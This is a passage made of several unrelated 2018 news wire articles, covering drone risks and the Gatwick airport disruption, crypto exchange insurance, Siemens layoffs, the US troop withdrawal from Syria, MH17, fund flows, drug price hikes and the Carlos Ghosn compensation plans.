faster plane, the results could have been worse. A plane travelling twice as fast could have suffered a punctured fuel cell, for example. What does the law say about drone use? As of July 30 2018, new laws came into force which ban all drones from flying above 400ft and within 0.6 miles (1km) of airport boundaries. Drone users who flout the height and airport boundary restrictions or fly negligently could face an unlimited fine, up to five years in prison, or both. Has a drone ever hit a commercial aircraft? No. However, drone near-misses with planes have more than tripled in two years, new figures show. Some 92 incidents were recorded in 2017, according to analysis of UK Airprox Board (UKAB) data. This is compared with 71 during the previous 12 months and 29 in 2015. Former RAF and British Airways pilot Steve Landells, flight safety specialist at pilots' union Balpa, described the figures as "very worrying". But as for whether a drone strike has ever caused a significant safety breach, Ahmad states: "Thankfully there's not yet been any such incident, but there have been many close calls." In October of this year, a Virgin Atlantic plane came within just 10 feet of a drone - the closest ever near-miss involving a passenger jet and one of the gadgets in UK airspace, according to UKAB. It happened as the Virgin Atlantic jet, a Boeing 787-9 Dreamliner capable of carrying up to 264 passengers, was flying at around 250mph over residential streets just north of Clapham Common on its approach to land at Heathrow. It managed to land without hitting the drone - and the owner of the device was never located. Are there any other associated dangers? Even in the event of a near-miss, when no collision occurs, the sudden presence of a drone is distracting to a pilot whose concentration must be at its most focused upon take-off and landing. There's also the issue of what more sophisticated drones could be carrying - in the worst case scenario, a bomb or chemical weapon. "There is obviously nothing stopping someone using a drone equipped with some form of weaponry," Ahmad says. "But thankfully, that hasn't happened." As for whether they have the ability to interfere with radio communications or Air Traffic Control, it's a no. They aren't that advanced, Ahmad remarks. What can be done to lower the risks? "What we need to do is look at how the drones are constructed," Poormon suggests. "Perhaps make them more frangible and act more like birds do - break apart upon impact. I think that's the key for minimising the risks." By Alun John HONG KONG (Reuters) - Cryptocurrency exchanges and traders in Asia are struggling to insure themselves against the risk of hacks and theft, a factor they claim is deterring large fund managers from investing in a nascent market yet to be embraced by regulators. Getting the buy-in from insurers would mark an important step in crypto industry efforts to show that it has solved the problem of storing digital assets safely following the reputational damage of a series of thefts, and allow it to attract investment from mainstream asset managers. "Most institutionally minded crypto firms want to buy proper insurance, and in many cases, getting adequate insurance coverage is a regulatory or legal requirement," said Henri Arslanian, PwC fintech & crypto leader for Asia. "However, getting such coverage is almost impossible despite their best efforts." Many asset managers are interested in digital assets. A Greenwich Associates survey, published in September, said 72 percent of institutional investors who responded to the research firm believe crypto has a place in the future. Last month, Mohamed El-Erian, Allianz's chief economic adviser said that cryptocurrencies would gain wider acceptance as institutions began to invest in the space. Most have held off investing so far however, citing regulatory uncertainty and a lack of faith in existing market infrastructure for storing and trading digital assets following a series of hacks, as well the plunge in prices. The total market capitalization of crypto currencies is currently estimated at approximately $120 billion compared to over $800 billion at its peak in January. "Institutional investors who are interested in investing in crypto will have various requirements, including reliable custody and risk management arrangements," said Hoi Tak Leung, a senior lawyer in Ashurst's digital economy practice. "Insufficient insurance coverage, particularly in a volatile industry such as crypto, will be a significant impediment to greater institutionalization of crypto investments." Regulatory uncertainty is another problem for large asset managers. While crypto currencies raise a number of concerns for regulators, including money laundering risks, few have set out clear frameworks for how cryptocurrencies should be traded, and by whom. Insurance might allay some of the regulators' concerns around cyber security. Hong Kongs Securities and Futures Commission recently said it was exploring regulating crypto exchanges, and signaled that the vast majority of the virtual assets held by a regulated exchange would need insurance cover. CUSTODY CHALLENGE Keeping crypto assets secure involves storing a 64 character alphanumeric private key. If the key is lost, the assets are effectively lost too. Assets can be stored online, in so-called hot wallets, which are convenient to trade though vulnerable to being hacked, or in 'cold' offline storage solutions, safe from hacks, but often inconvenient to access frequently. Over $800 million worth of crypto currencies were stolen in the first half of this year according to data from Autonomous NEXT, a financial research firm. Some institutions have started working to solve this problem, and may provide fierce competition to the incumbent players. This year, Fidelity, and a group including Japanese investment bank Nomura <9716.T> have launched platforms that will offer custody services for digital assets. Despite the industry's complaints, insurers say that they do offer cover. Risk advisor Aon, received some two dozen inquiries this year from exchanges and crypto vaults seeking insurance, according to Thomas Cain, regional director, commercial risk solutions, at Aons Asian financial services and professions group. "It is not difficult to insure companies that hold large amounts of crypto assets, but given the newness of the asset class and the publicity some of the crypto breaches have received, applicants need to make an effort to distinguish themselves," Cain said. The industry also says it is getting closer to solving the custody problem. "This year there have been a number of developments, and some providers have developed custody solutions suitable for institutional clients' needs," said Tony Gravanis, managing director investments at blockchain investment firm Kenetic Capital. "Players at the top end of the market have also been able to get insurance," he said. But this is not the case for all. One cryptocurrency broker, declining to be named because of the subject's sensitivity, said insurers struggled to understand the new technology and its implications, and that even those who were prepared to provide insurance would only offer limited cover. "We've not yet found an insurer who will offer coverage of a meaningful enough size to make it worthwhile," he said. (Reporting by Alun John, editing by Jennifer Hughes and Shri Navaratnam) Despite Trumps promises to halt the trend, 125 people will lose their jobs at an Iowa plant, in addition to other closures and offshoring Siemens announced earlier this year An employee installs the windshield of an Amtrak locomotive at the Siemens manufacturing facility in Sacramento, California. Photograph: Bloomberg/Bloomberg via Getty Images The twenty-first of December will be 56-year-old Joe Kempkers last day at the Siemens turbine plant in Burlington, Iowa, where hes worked for 31 years. The plant has been Kempkers life. It takes a little bit of my heart every time one of those machines go out the door, Kempker said. The German conglomerate, one of the US governments largest contractors, purchased the plant in 2014 and announced its closure earlier this year. One hundred and twenty-five people will lose their jobs at a plant that has been in operation since 1870, the latest victims of a wave of closures and offshoring that have increased under the Trump administration despite promises to halt the trend. Im at an age that probably is not the most desirable in the job market at 56 years old. Too young to retire early, but I can see why someone would have questions hiring someone at my age. Its devastating, said Kempker. Burlington is a small city with roughly 25,000 people on the Mississippi river. Donald Trump held a campaign rally in the city in October 2015, where he promised: I will be the greatest jobs president that God has ever created. But critics charge Trump has done little to fulfill his promise as corporations like Siemens continue to shut down plants and send those jobs overseas. Its something we keep seeing played out over and over. Companies buy a facility, in this case, it had been operating in the Burlington area for over 100 years, it was part of the community, and suddenly they get a notice the plant is closing down, said Owen Herrnstadt, the director of the trade and globalization program at the International Association of Machinists. A lot of people during the holiday time are going to be out of a job and we all know how incredibly painful that is. Story continues Earlier this year, Siemens laid off more than 200 workers at a turbine plant in Fort Madison, Iowa, just a 20-minute drive from Burlington, though a few months later Siemens announced plans to rehire 100 of those laid-off workers. Siemens also announced plans to shut down a turbine plant in Wellsville, New York, in 2020, laying off 250 workers from a plant that has been in operation for more than 100 years, and it shut down a plant in Mount Vernon, Ohio, in September 2018, laying off about 400 workers. Since Trump was elected, German manufacturing company Siemens has offshored 1,700 jobs throughout the United States, yet they have won $765m in federal contracts during the same period. You hear Trump saying all the jobs out there, but what they never mention is the majority of those jobs out there, it will take two of those jobs to replace a good job like were losing, added Kempker. There are still unemployed people if one person has to take on two of those jobs. There arent twice as many jobs out there. It leaves a big hole and a person shouldnt have to work two jobs to make a living. The Siemens closure comes a month after General Motors announced it was laying off 14,700 people. On the heels of the GM closure announcement, yet another federal contractor is laying off workers, said Joseph Geevarghese, the executive director of Good Jobs Nation. Despite President Trumps promises to the workers in Iowa that he would be the biggest jobs producer God ever created GM, Siemens and other federal contractors are shipping jobs overseas at a record pace, and Trump has done nothing to stop it. Good Jobs Nation has criticized the Trump administration for its inaction over corporations closing factories throughout the US while they send those jobs offshore, yet still receive billions in government subsidies and tax breaks. Offshoring of jobs has rapidly increased under the Trump administration. According to a report by Good Jobs Nation the rate of offshoring by major federal contractors is on track to be the highest in a decade. Siemens has received $1.5bn in public subsidies over the past 20 years. Earlier this year the Siemens CEO, Joe Kaeser, praised Trumps tax cuts, which decreased the corporate tax rate from 35% to 21%, claiming they would lead to job growth. According to Siemens 2018 annual report, the company is saving about $500m annually due to Trumps tax cuts. Workers at the Burlington plant noted their work is being sent to either Winston-Salem, North Carolina, or overseas to the Czech Republic and India. Right before they announced the plant closing, our business was picking up and they had brought a single stage turbine line in from Wellsville, New York. We started working overtime again and they just pulled the rug out from underneath us, said Robert Morrison, who is being forced to take early retirement due to the plant closure. He said most of his fellow employees are either leaving the area to find work or struggling to find a comparable job with the wages and benefits they previously received. Were still in a state of shock. As theyre pulling these machines out now weve run for years, you see this look of disbelief on peoples faces, Morrison said. This is a dirty deal. They bought the competition that was beating them and because theyre a big company they can move our work to the Czech Republic or India. Siemens told the Guardian in an email: Over the last year we have been witnessing major structural shifts in the global power generation market. In the Americas specifically, weve seen a significant market decline for steam turbines and our Energy Products facility in Burlington has seen a direct impact of this decline. Currently, Siemens is operating at a global overcapacity and it is no longer viable for the company to operate as many facilities, thus, the decision has been made to close our Burlington factory. What does it take to be an influencer someone who can move millions of people by their words or deeds? Whats really inside these people, and what can we learn from them? Even though we come into some sort of contact with Influencers every day (LeBron James or Pope Benedict, anyone?) these are not easy questions to answer. Clearly, passion, vision, charisma, and never mind being in the right place at the right time, have much to do with the makeup of these folks. You hear a lot about Influencers these days, mostly in the context of social media stars making millions of dollars simply by being fabulous. But of course, having influence has a much older and more substantive context. If, in essence, influencers are people whose words and actions cause others to follow suit, then such individuals have been around since the origin of our species. Maybe the first influencer was the person who could best knap flint or most accurately throw a spear a million years ago. In the world of business, influencers who come to mind are Steve Jobs, Warren Buffett and Thomas Edison, and deservedly so. But I also encourage you to think beyond those names and consider the likes Jack Ma, the founder of Alibaba, or Mubarak Muyika, a 24-year-old Kenyan who turned down Harvard to run his own software company in Silicon Valley. And then there are the likes of Oprah, Roger Federer, and Huda Kattan. Have you heard of Kattan? The native of Oklahoma City is one of the most influential beauty bloggers in the world, with 29.5 million followers on Instagram. When thinking about influencers and influence, its important to consider those who hold sway over millions and maybe even billions outside of our own perspectives and orbit. (I sometimes think the notion the world is getting smaller is less true than we think.) Weve been trying to understand the power of influence for centuries. Machiavelli was certainly interested in the topic. And more recently, consider Dale Carnegies How to Win Friends and Influence People, with more than 15 million copies sold since it was first published in 1936 and graces multiple lists of you guessed it the most influential books of all time. Though the book has its detractors, of course: The writer Sinclair Lewis described Carnegie's method as teaching people to "smile and bob and pretend to be interested in other people's hobbies precisely so that you may screw things out of them. And some may find its ideas axiomatic: Give honest and sincere appreciation and Smile, for example. Story continues But apparently Carnegie helped at least one of todays influencers become that much more, well, influential. Buffett proudly keeps a framed diploma of the Dale Carnegie course he completed when he was 20 years old. I remember him telling me how much the course helped him communicate with people. To be sure one can study and gain influence, but authentic influence isnt learned but comes from within. Its almost certain that Buffett would still be the most influential investor of the modern era even if he hadnt taken that Dale Carnegie course maybe not quite so avuncular, but the Oracle of Omaha nonetheless. True influencers dont necessarily set out to be influential, they are driven by an inner fire. They follow their bliss as the mythologist (and influencer) Joseph Campbell would say and then people simply follow them. Personal ambition is not the primary driver here (See Gandhi, Mahatma.). Ambition may get you married to the presidents daughter, but it wont make you Nelson Mandela. Indeed, an influencer makes people change the way they think or act through implicit leadership, think Muhammad Ali or Muhammad Yunis. They can also be tastemakers or leaders in design or art or even in defining mores think Martha Stewart, Frank Lloyd Wright, Andy Warhol or Helen Gurley Brown. They defined their own categories and career trajectories, and they lived their lives in new and different ways. What Im looking to do is simple: Find influencers and interview them to get at the particulars of their journeys. How did they figure out what to do? What drives them? How do they channel their energy? Allocate their time and resources? The result of all this may be a bit more complicated. I hope to leave you with a better understanding of our world and maybe even lead you to change your own journey or to set out on an entirely new one. On Thursday, January 10, Yahoo Finance premieres its new weekly interview series, Influencers with Andy Serwer. Yahoo Finance editor-in-chief Andy Serwer will sit down with some of the biggest names in business, politics, entertainment, sports, and academia. Influencers will focus on industry trends, the macro economy and the big picture through a business lens. Tune in every Thursday at 5 PM EST for a new, live episode of Influencers with Andy Serwer. The White House has reportedly decided to pull the more than 2,000 US troops out of Syria - AFP Donald Trump plunged Americas Middle East policy into chaos on Wednesday as he declared the the Islamic State (Isil) had been defeated and ordered a complete withdrawal of US forces from Syria. The shock decision to pull out US troops was immediately criticised by his own Republican allies as a huge mistake and his declaration of victory over Isil was openly contradicted by the British government. Republicans warned the withdrawal would jeopardise the fight against Isil and undermine US hopes of countering Irans influence in Syria. It may also embolden Turkey to launch a major offensive against America's Kurdish allies in northern Syria. US diplomats began an immediate evacuation from Syria within 24 hours. Americas 2,000 troops are expected to be all be withdrawn from the country by the end of March, US officials told Reuters. We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency, Mr Trump wrote on Twitter. Tobias Ellwood, a junior UK defence minister replied: I strongly disagree. It has morphed into other forms of extremism and the threat is very much alive. I strongly disagree. It has morphed into other forms of extremism and the threat is very much alive. https://t.co/wrRMTBJ4tX Tobias Ellwood (@Tobias_Ellwood) December 19, 2018 The decision appears to indicate that Mr Trump has decided to follow his own instincts over the advice of US security officials, including Jim Mattis, the defence secretary, who urged him not to withdraw American forces. Mr Trump has said often that he wanted to get out of Syria and in a speech in March this year he said US troops would be coming out of Syria like very soon. But he was persuaded to continue the American deployment. Senior US officials like John Bolton, Mr Trumps national security advisor, have spent recent weeks saying the US was committed to a longterm presence in Syria to counter Iran. Story continues Those promises by Mr Bolton and others appeared to have been cast aside by Mr Trumps announcement Wednesday. Withdrawal of this small American force in Syria would be a huge Obama-like mistake, said Lindsey Graham, a Republican senator close to Mr Trump. The confusion surrounding our Syria policy is making life much more difficult and dangerous for Americans in the region. We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency. Donald J. Trump (@realDonaldTrump) December 19, 2018 The news was met with dismay by Americas Kurdish allies in the Syrian Democratic Forces (SDF), who have been fighting alongside US troops against Isil in eastern Syria. Recep Tayyip Erdogan, Turkeys president, has been threatening to launch a new offensive against the Kurds in northern Syria. The presence of US forces had acted as a deterrent to Mr Erdgoan but their withdrawal makes it more likely Turkish forces will move ahead with their attack. Analysts suggested the Kurds may feel they have no choice now but to ally with the Assad regime to try to protect themselves against Turkey. Its a sad state of affairs when our key allies on the ground, whove shed blood and thousands of lives for our fight against Isil, are to be well and truly abandoned, said Charles Lister, a senior fellow at the Middle East Institute. He said the decision was extraordinarily short-sighted and naive and would benefit not only Isil but also Iran, Russia, and the Syrian regime. Russia's foreign ministry welcomed the US troop withdrawal and said it believed the decision would help lead to political settlement in Syria. Russia has its own military force in Syria fighting on behalf of the Assad regime. Whitehall had been braced for an announcement on the US withdrawal from Syria, but Mr Trump's tweet took Downing Street by surprise. Britain will renew its commitment to airstrikes against Isil in Syia and will not be withdrawing from the conflict, government sources said. Several dozen British commandos are believed to be on the ground in Syria operating alongside US forces, while the UK continues to carry out airstrikes against Isil. The decision is also likely to be unnerving for Israel, which saw the US presence in Syria as a counterweight to Iranian influence in the country. Benjamin Netanyahu, the Israeli prime minister, said he had been forewarned of the withdrawal and promised that Israel would continue to counter Iran regardless of Americas decision. Whitehall had been braced for an announcement on the US withdrawal from Syria, but Mr Trump's tweet took Downing Street by surprise. Britain will renew its commitment to airstrikes against Isil in Syia and will not be withdrawing from the conflict, government sources said. Several dozen British commandos are believed to be on the ground in Syria operating alongside US forces, while the UK continues to carry out airstrikes against Isil. Mr Trumps declaration of victory came shortly after US and SDF forces drove Isil fighters out of the town of Hajin, their last urban stronghold in Syria. But the group continues to control areas of rural territory and just hours before Mr Trumps tweet the US military put out a statement detailing its ongoing campaign against Isil in eastern Syria. Donald Trump has been eager to withdraw US forces Credit: REUTERS/Kevin Lamarque Isil itself claimed responsibility for an attack in Raqqa just a few minutes before Mr Trump pronounced them defeated. The groups fugitive leader, Abu Bakr al-Baghdadi, is still at large and is believed to be hiding in a remote area near the Iraq-Syria border. The UN warned in August that the group may still have up to 30,000 fighters in Iraq and Syria, waiting to launch insurgent attacks in both countries. US officials have repeatedly warned that Isil would not be defeated even when its territory had all been taken and said the jihadists could regroup if Western pressure was taken off them. Just last week, Brett McGurk, Mr Trumps special envoy on the fight against Isil, said the US would not just pick up and leave Syria. If weve learned one thing over the years, enduring defeat of a group like this means you cant just defeat their physical space and then leave; you have to make sure the internal security forces are in place to ensure that those security gains are enduring, he said. The White House said in a statement after Mr Trumps tweet that the US has "defeated the territorial caliphate" and "started returning United States troops home as we transition to the next phase of this campaign". "These victories over ISIS in Syria do not signal the end of the Global Coalition or its campaign," the statement said. One US defence official told the New York Times that they believed Mr Trump had made the Isil announcement to distract from the Russian investigation and other alleged corruption scandals swirling around the White House. For most US allies and adversaries, this move will look like a withdrawal, not a victory, and yet more evidence of the dangerous unpredictability of the US President, Mr Lister said. Gatwick Airport (United Kingdom) (AFP) - British police were Friday considering shooting down the drone that has grounded flights and caused chaos at London's Gatwick Airport, with passengers set to face a third day of disruption. Police said it was a "tactical option" after more than 50 sightings of the device near the airfield since Wednesday night when the runway was first closed. Police and airport authorities believe the drone is being flown in a deliberate act to disrupt the airport at one of the busiest times of year, leaving tens of thousands of passengers stranded just days before Christmas. On Thursday Britain called in the army to offer additional support to police as they hunt for those responsible. "We will do what we can to take that drone out of the sky and remove that disruption so we can get Gatwick back to normal," Detective Chief Superintendent Jason Tingley said, despite earlier concerns that shooting the drone would be dangerous due to the danger of stray bullets. "One of the options is to use firearms officers if that presents itself -- they have been out on the ground today and that's a consideration and a tactical option that's open to us." He said he believed the drone had been modified with the "intent of causing disruption" and were looking through CCTV to identify the make and model. The airport said late Thursday its only runway could not be reopened following further appearances of the drone. "Gatwick's runway remains unavailable because of continued drone sightings," it said. Specialist equipment has been deployed by the MOD (Ministry of Defence) to Gatwick airport to assist Sussex Police. "We are there to assist and do everything we can," Defence Secretary Gavin Williamson told Sky News television, declining to give the troops' exact role and adding that it followed a request from local police. - 'It's childish' - Story continues Gisele Fenech, 43, who was travelling to Malta, was among those stranded at the airport. "We're meeting family and it's my daughter's birthday today so it's gone all wrong. We've been looking forward to this for so long," she told AFP. "Everyone's trying to get home for Christmas." Gatwick, around 30 miles (50 kilometres) south of the British capital, is the eighth-busiest airport in Europe and sits behind Mumbai as the world's busiest single runway air hub. Inbound flights were diverted to other airports, including Paris, while passengers waiting to take off faced gruelling delays as airlines cut services. Transport Secretary Chris Grayling said overnight restrictions would be lifted at some airports to help ease the situation. Some 10,000 passengers were affected on Wednesday night, and a further 110,000 who had been due to either take off or land at the airport on 760 flights Thursday. Musab Rashid, 22, who was going to Copenhagen, said: "It's wrong, it's childish of them to do this, because it's affected more than 100,000 people." - Cat-and-mouse manhunt - Two drones were first spotted flying over Gatwick at around 9pm (2100 GMT) on Wednesday. The airfield briefly reopened at 3am on Thursday, but had to be closed again following further sightings through the day. Gatwick CEO Stewart Wingate said the incident was "a highly targeted activity which has been designed to close the airport and bring maximum disruption in the run up to Christmas". "We are working very closely with the police and the security services to try to resolve this for passengers," he said, adding "as soon as we can we will" reopen the runway. A cat-and-mouse manhunt is under way to catch those operating the drones, with more than 20 police units and dozens of officers from two local forces deployed. "Each time we believe we get close to the operator, the drone disappears; when we look to reopen the airfield, the drone reappears," said police superintendent Justin Burtenshaw on Thursday, adding there were no indication the incident was terror-related. British Prime Minister Theresa May said she sympathised with passengers and vowed action. "We will continue to work with the Gatwick authorities and police will be working... in order to bring this to a close," she told a press conference in London. Under a new British law, drones cannot be flown near aircraft or within a kilometre of an airport, or at an altitude of over 400 feet (122 metres). May warned the perpetrators they could face up to five years in prison for endangering an aircraft under recently passed legislation. "We're consulting on further aspects of this including further police powers," she added. Gatwick serves more than 228 destinations in 74 countries for 45 million passengers a year. The Hague (AFP) - The Netherlands is considering dragging Russia to an international court over the downing of flight MH17 after talks over responsibility ground to an impasse, the Dutch foreign minister said Thursday. In May, the Netherlands and Australia directly blamed Moscow for shooting down the Malaysia Airlines passenger jet with a BUK missile over war-torn eastern Ukraine on July 17, 2014. The two countries "asked Russia to formally contact us via diplomatic channels to discuss responsibility in the interest of justice, the victims and their relatives," foreign minister Stef Blok said Thursday. "More than half a year later... diplomatic contacts have not led to a start of talks with Russia and its responsibility for downing flight MH17," Blok said in a letter to the Dutch parliament. "The Netherlands and Australia are prepared to continue talks with Russia. But at the same time, cabinet will look at the next steps, in which taking the case to an international judge or organisation will be an option." All 298 people on the flight between Amsterdam and Kuala Lumpur were killed when the missile slammed into the Boeing 777 as it overflew territory held by pro-Russian separatists. In November the relatives of 65 Dutch victims lodged a complaint with the European Court of Human Rights in Strasbourg demanding that Russia take responsibility for MH17. The Dutch-Australian claim came after international investigators fingered a Russian military unit based in Kursk for transporting the missile from Russia into eastern Ukraine before launching it -- a claim backed by other Western powers. Moscow has always vehemently denied involvement and instead pointed the finger at Kiev. Russia in September said it had "fresh proof", releasing what it said was the missile's serial number, aiming to prove the missile was made in Ukraine during the Soviet era. The Dutch-led Joint Investigation Team has said it would "carefully" study Moscow's claims, adding that information previously provided by Russia such as the alleged presence of a Ukrainian fighter jet near the airliner on radar images was "incorrect". ICYMI: Here are some of top stories of the day Here are some of the stories you may have missed throughout the day. By Trevor Hunnicutt NEW YORK (Reuters) - There is no more mistletoe hanging above the markets. The romance U.S. fund investors once had with the stock market was put to rest in 2018 when buy the dip turned into sell the rip. For evidence, look no further than exchange-traded funds (ETFs), which hold baskets of stocks across the market and have been a primary buyer throughout this bull market. In 2017, investors often added more cash to the funds when the performance sank. Stocks glided higher. Equity ETFs during the year were responsible for more demand than pension funds, mutual funds and foreign investors, according to Goldman Sachs Group Inc research. And throughout the bull market, ETFs have been consistent buyers even when other investors dropped out. (GRAPHIC-2017: Buy the Dip - https://tmsnrt.rs/2GuJSoz) But this year investors were faced with the prospect that U.S. Federal Reserve rate hikes, high corporate borrowing, rising relative yields on short-term bonds, U.S.-China trade tensions and slowing growth could leave a strong U.S. economy flailing. Fund managers failed to successfully navigate markets that swung between record highs and dramatic lows - the average stock and bond fund will report negative returns for the year. The average U.S.-based equity fund is down 6.3 percent in the year through December 11, while its bond counterpart is down 0.9 percent, Lipper said. The market has only fallen further since then. So ETF investors, among the main sugar daddies supporting this near-decade rally in U.S. stock prices, refused to play the role of buyer of last resort. While demand is still positive for the year, ETF buyers were less willing to step in during the worst moments. (GRAPHIC-2018: Sell the Rip - https://tmsnrt.rs/2GzSRFc) Individual investors are the most pessimistic about stock performance they have been in more than five years, with 49 percent expecting the market to fall in the next six months, according to a survey by the American Association of Individual Investors. Story continues Tom Roseen, head of research services at Lipper, said investors are not going to wait around for another period like the 2008 financial crisis, when some stock funds lost more than half their value. "They're not buying the dip like they were, and they're selling," he said. The wariness of the ETF buyer has only added to a market decline as the Fed pulls back from policies meant to encourage investors to take risks after the financial crisis. And the weakening investor psychology could keep markets on edge well into 2019. (Reporting by Trevor Hunnicutt; Editing by Jennifer Ablan and Nick Zieminski) By Michael Erman and Robin Respaut NEW YORK/SAN FRANCISCO (Reuters) - Novartis AG and Bayer AG are among nearly 30 drugmakers that have taken steps to raise the U.S. prices of their medicines in January, ending a self-declared halt to increases made by a pharma industry under pressure from the Trump administration, according to documents seen by Reuters. Other drugmakers set to raise prices at the start of 2019 include Allergan Plc , GlaxoSmithKline Plc , Amgen Inc , AstraZeneca Plc and Biogen Inc , the documents show. The hikes will pose a new challenge to President Donald Trump's pledge to lower the costs of prescription medications in the world's most expensive pharmaceutical market. The U.S. Department of Health and Human Services (HHS) has proposed a slew of policies aimed at lowering prices and passing more of the discounts negotiated by health insurers on to patients. Those measures are not expected to provide relief to consumers in the short-term, however, and fall short of giving government health agencies direct authority to negotiate or regulate drug prices. Twenty-eight drugmakers filed notifications with California agencies in early November disclosing that they planned to raise prices in 60 days or longer. Under a state law passed last year, companies are required to notify payers in California if they intend to raise the U.S. list price on any drug by more than 16 percent over a two-year period. The details were provided to Reuters in response to a public records request to California Correctional Health Care Services, which provides healthcare services to the state's corrections department. The department spends more than $3 billion annually on drugs for inmates, more than any other state. "Requests and public shaming haven't worked" to lower drug prices, said Michael Rea, chief executive of RX Savings Solutions, which helps health plans and employers seek lower cost prescription medicines. "We expect the number of 2019 increases to be even greater than in past years." Story continues Pfizer Inc rolled back planned price increases in July after President Trump said in a tweet that the drugmaker "should be ashamed" and that his administration would respond to the hikes. Pfizer said it would defer hikes until January 2019 to support the administration as it pursued its new pricing policies. Pfizer's move prompted many of its industry peers, including Bayer, Novartis, Allergan, AstraZeneca and Amgen, to follow suit. Drug price increases implemented by the 20 biggest drugmakers did slow down during the second half of 2018, with those companies raising prices on just over half the number of drugs as in 2017, according to data compiled by consultancy RX Savings Solutions. Pfizer has already announced plans to hike prices on 41 of its drugs in mid-January. 60-DAY NOTICE The California corrections department documents indicate that the companies plan to increase prices as early as Jan. 1. Most do not detail for which drugs or by how much, but specific details were given in the case of Novartis and Bayer. Novartis is planning to raise prices on more than 100 indications of over 30 different drugs in January, the documents show, with increases ranging from 4.5 percent to 9.9 percent. Drugs on the list are expected to account for more than $20 billion of Novartis' revenue this year and include multiple sclerosis drug Gilenya, psoriatic arthritis treatment Cosentyx, and leukemia treatment Tasigna. The list also includes Diovan, the brand name version of blood pressure treatment valsartan, generic versions of which are currently in shortage after a potential carcinogen was detected in active ingredients made in China, prompting widespread recalls. Novartis spokesman Eric Althoff said the company plans to raise U.S. list prices on 14 percent of the medicines it sells in the country in 2019, for an average increase of 4.7 percent on those drugs. "Our rebates and discounts, however, continue to grow even faster," Althoff said. As a result, the company expects a net price decrease of nearly 5 percent across the whole U.S. portfolio, he said. Over the last three years, net price decreases for its U.S. business have ranged from 2 percent to 2.6 percent, the company said. Bayer filed notifications with California agencies to increase prices on six of its drugs in January, many of which are birth control products. Most of these price increases are 5 percent. Bayer said that the U.S. wholesale price of its products are not representative of what most consumers pay and that "list price increases are expected to be offset by higher rebates and discounts paid to insurance companies and pharmacy benefit managers." Amgen did not respond to requests for comment. AstraZeneca and Biogen declined to comment for this story. GSK would not give details about its specific price increases, which are set to take effect on or around Jan. 1 and could change before then. Allergan said that all of its price increases will be aligned with its pledge made in 2016 to limit drug price increases on its products to less than 10 percent annually. The United States, which leaves drug pricing to market competition, has higher drug prices than in other countries where governments directly or indirectly control the costs, making it the world's most lucrative market for manufacturers. Lowering prescription drug prices was a top priority in Republican Trump's 2016 presidential campaign. Rival Democrats are expected to step up congressional scrutiny of drug price hikes next year after gaining control of the U.S. House of Representatives in elections in November. "Drug companies raising their prices and offsetting them with higher rebates benefits everyone but the consumer," HHS spokeswoman Caitlin Oakley said in a statement. Trump and HHS Secretary Alex Azar "remain committed to lowering drug prices and reducing out of pocket costs, and will continue to take bold action to restructure this broken market," she said. (Reporting by Michael Erman in New York and Robin Respaut in San Francisco; Editing by Michele Gershberg and Sonya Hepinstall) By Laurence Frost and Ritsuko Ando PARIS/TOKYO (Reuters) - Executives from both carmakers in the Renault-Nissan alliance looked at least twice at legal ways to pay Chairman Carlos Ghosn undisclosed income through the partners' shared finances, documents seen by Reuters show. The two efforts discussed in these documents were ultimately abandoned. However, the documents show for the first time that some discussions about compensating Ghosn out of the public eye were not confined to the Japanese carmaker, but also included Renault executives. Ghosn's undisclosed Nissan income is at the center of allegations by Tokyo prosecutors against the alliance chairman, who has been charged with failing to disclose $43 million in compensation for 2010-2015 that he had arranged to receive later. Since 2010, Japanese firms have been required to disclose details of executive remuneration including stock options and bonuses when the total exceeds 100 million yen ($890,000). The plans, which were considered in 2010 and 2017, sought to find legal channels through which Ghosn could receive undisclosed payments. Ghosn and Greg Kelly, a Nissan director, are still in custody and have had little opportunity to defend themselves in public. Ghosn, who remains Renault's chairman and chief executive, denies that the alleged pay deals broke any laws, his Japanese lawyer has told other media. Japanese media have also reported that Kelly has denied the allegations. U.S. representatives for Ghosn and Kelly declined to comment. Reuters reviewed internal emails and invoices related to the projects and spoke to people with direct knowledge of them. Executives, including Renault's general secretary Mouna Sepehri, worked on a proposed 2010 plan to create an additional source of compensation for Ghosn through the alliance's Renault-Nissan BV (RNBV) Dutch holding, according to an internal email seen by Reuters. In the April 22, 2010, email to Sepehri and one other recipient identified only as Scott, Kelly wrote: "I greatly appreciate the work you have done to analyze whether part of the CEO's compensation can be paid by RNBV without disclosing it publicly." Story continues "I have reviewed all of the information you have provided me with the CEO and have explained to him that there are good legal grounds for RNBV being able to pay ... part of his compensation without having to publicly disclose the amount," Kelly wrote. In a statement to Reuters late on Tuesday, Renault said it had ultimately responded that any such pay "would have to be made public in France." It added: "To the best of Renault's knowledge, this project was never implemented." Kelly's email was unearthed by the Nissan investigation of Ghosn. Kelly had "consulted several people at Renault and Nissan to establish whether it was legally possible that part of the CEO's compensation be paid by RNBV to reflect the time he spent working on alliance synergies," the company said. Renault owns 43.4 percent of Nissan, whose 15 percent stake in its French parent carries no voting rights. Nissan, in turn, controls Mitsubishi Motors Corp via a 34 percent holding. Their combined 10.6 million vehicle sales rival Volkswagen and Toyota. Nissan now wants to examine the finances of jointly owned RNBV and other alliance entities. Renault, whose biggest shareholder is the French state, has so far ignored its request for an independent investigation. SECOND ATTEMPT In 2017, as deferred Nissan income owed to Ghosn continued to mount, alliance executives tried another approach. Renault-Nissan bankers developed plans to pay millions of euros in undisclosed bonuses to Ghosn and other alliance managers via a Dutch service company. On June 13, 2017, Reuters reported details of the plan contained in an eight-page document. Two days later at Renault's shareholder meeting, Ghosn denied that such a plan existed. "There is no truth in any of this," Ghosn told shareholders at the meeting, as Renault deputy CEO Thierry Bollore and Sepehri looked on. "I can tell you that every week we get proposals from consultants and banks at my level." The plan was scrapped soon after that, invoices and emails show. According to documents reviewed by Reuters, Bollore and Sepehri were among a small group of executives included in emails and meetings about the bonus plan, along with Hiroto Saikawa, now Nissan's CEO. Reuters could not establish what roles the executives played in the planning process. Both carmakers declined to make the three executives available for comment. On July 25, 2017, financial adviser Ardea Partners, which had worked on the plan, billed Renault-Nissan $1.5 million, plus $49,219.57 in expenses, for "services rendered." That was half the $3 million fee that had been agreed in a May 13 contract seen by Reuters, drawn up as the project moved toward implementation, and payable on completion. Ardea Managing Director Robert Falzon declined to comment. "It feels like we are truly in the final inning," Ardea's Chris Cole had written in a May 26-27 email chain to a project group he addressed as "Team Cavalry." Renault said on Tuesday that Ardea had "worked as financial advisors on many corporate subjects for RNBV," in response to Reuters questions on the bonus plan. Renault told Reuters its executives had not led the project. "On certain subjects there were 